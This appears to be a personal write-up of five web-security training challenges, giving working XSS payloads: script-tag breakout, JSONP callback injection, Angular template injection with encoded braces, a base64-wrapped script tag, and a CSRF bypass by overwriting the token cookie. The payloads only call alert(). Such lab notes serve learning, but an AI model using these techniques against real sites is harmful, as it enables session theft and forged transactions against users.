I participated in a work event regarding web security, where I had to hack 5 seemingly innocuous websites to learn about web vulnerabilities. By hack, I mean just execute alert(). In case I get amnesia, here’re some notes.
1. simple javascript injection.
There was an input textbox, where I had to simply put in:
</script><script>alert()</script>
so I mess up the existing html and trick it into executing my <script>. Easy.
2. Callbacks
On the page there was the script:
function getArg(key) {
key = key.replace(/[*+?^$.\[\]{}()|\\\/]/g, “\\$&”); // escape RegEx meta chars
var match = location.search.match(new RegExp(“[?&]”+key+”=([^&]+)(&|$)”));
return match && decodeURIComponent(match[1].replace(/\+/g, ” “));
}
$(document).ready(function() {
console.log(getArg(“id”));
if (getArg(“id”)) {
$.ajax({
url: “vuln?id=” + getArg(“id”),
jsonp: “callback”,
dataType: “jsonp”,
success: function( response ) {
$(“#result”).text(response.description || response);
}
});
}
In essence, needed to pass in something such that getArg(“id”) contains “<some number>&callback=alert()” so that the url in the ajax call becomes “vuln?id=<some number>&callback=alert()”. This callback= thing is a jsonp thing, which returns text in the format of “<some callback>(<some data>)”, e.g. callback(“No result found.”). If you do callback=alert(), then it’ll be ‘alert()(“No result found”)’, which would achieve our goal.
Anyways, to fool getArg, in this particular case given getArg’s regex shenanigans, ?id=2%26callback=alert(), where %26 is urlencoded form of &
This too was super easy.
3. Angular 2
Next, there’s a site with angular 2 with a form inside with method=POST, like so:
<form action=”/f/rWKWwJGnAeyi/” method=”POST” class=”ng-pristine ng-valid”>
<input id=”demo2-query” name=”query” maxlength=”140″ ng-model=”query” placeholder=”Enter query here…” class=”ng-pristine ng-valid”>
<input id=”demo2-button” type=”submit” value=”Search”>
</form>
Essentially the point is to inject angular code, i.e. {{ alert() }}. You can do that by injecting this as if it’s some GET parameter, e.g.
<form action=”/f/rWKWwJGnAeyi/?{{alert()}}” method=”POST” class=”ng-pristine ng-valid”>
<input id=”demo2-query” name=”query” maxlength=”140″ ng-model=”query” placeholder=”Enter query here…” class=”ng-pristine ng-valid”>
<input id=”demo2-button” type=”submit” value=”Search”>
</form>
But (un)fortunately, { gets removed (by the browser? the app?) So you have to inject { without really injecting {. How? Url encoding? No, that also gets removed. HTML special characters? { isn’t one. In fact, { is not a valid character in a URL per some RFC.
Solution is a combination of url encoding and ascii number, i.e.:
f/rWKWwJGnAeyi/?query=&%23123;&%23123;alert()}}
What is that? Let’s break it down:
{ is {
but if the browser sees #, it will ignore everything to the right, so, url encode the # to be %23. Thus, &%23123; will be interpreted by the browser as { and be injected, along with the alert()}} causing angular to execute.
4. Content security policy
Not sure why this has to do with CSP. It’s just jsonp anyway. This website takes in ?menu=<base 64 encoded string>, and the server matches whatever the string base64 decodes to with whatever pre-existing page the server has via jsonp call. e.g. if you pass in base64_encode(‘cat’), it’ll show you a page with cats. If you pass in something the server doesnt recognize, it’ll just say “<h1>error, <whatever you passed in> is not found</h1>”. I originally thought the attack was like question 2 above, but turns out it’s not. Instead, it’s to get it to return javascript-injected HTML code into the title. So:
PC9oMT48c2NyaXB0IHNyYz0ianNvbnA/Y2I9YWxlcnQoKTsiPjwvc2NyaXB0Pg==
which base64 decodes to:
</h1><script src=”jsonp?cb=alert();”></script>
In hindsight, this was easy, but I spent some time on this. This was tricky, simply because the website that was given seemed to have multiple attack surfaces (like with jsonp callback as in question 2).
5. CSP, Cross Site Request Forgery Tokens and Self-XSS
Not sure why this one was claimed to involve so many things. It was a pretty simple cookie exploit.
I am given a webpage (index) with 2 forms. First form has 1 input field (name) that sets the name shown on the page by storing some cookie value. It also has a hidden redirect, like so:
<form method=”GET” action=”set”>
<input type=”hidden” name=”name” value=”name”>
<input size=”30″ name=”value” placeholder=”Please specify your name”>
<input type=”hidden” name=”redirect” id=”redirect” value=”index”>
<input type=”submit” value=”Set”>
</form>
Second form transfers money (2 input boxes, recipient’s name and amount of money), and also has a hidden field with the csrf_token, which should be the token in the cookie that was set by index, and will be checked once the transfer action is invoked (user clicks on the submit button). The html is:
<form method=”GET” action=”transfer”>
<input size=”30″ name=”name” placeholder=”Recipient”>
<input size=”5″ name=”amount” placeholder=”123″>
<input type=”hidden” name=”csrf_token” id=”csrf_token” value=”wks”>
<input type=”submit” value=”Send”>
</form>
The <script>alert()</script> injection was quite straight forward, as you can simply put that in the amount field because the resulting page tells you it can’t atoi a non-number, and shows you whatever you put in.
The difficulty and gist of the problem is, how do you bypass this csrf_token thing? After all, when transfer is invoked, it needs to match whatever the server (index) stored in the site’s cookies.
The trick is, overwrite the cookie! The set action (first form) creates a cookie with the name “name” set to whatever value you specify. So simply do:
set?name=csrf_token&value=wks&redirect=transfer?name%3Dasdf%26amount%3D1%253Cscript%253Ealert()%253C%2Fscript%253E%26csrf_token%3Dwks
This way, it creates a cookie with the name csrf_token with value wks (or whatever), essentially overwriting the server-generated csrf_token. Then have /set redirect you to /transfer with the csrf_token value you specified.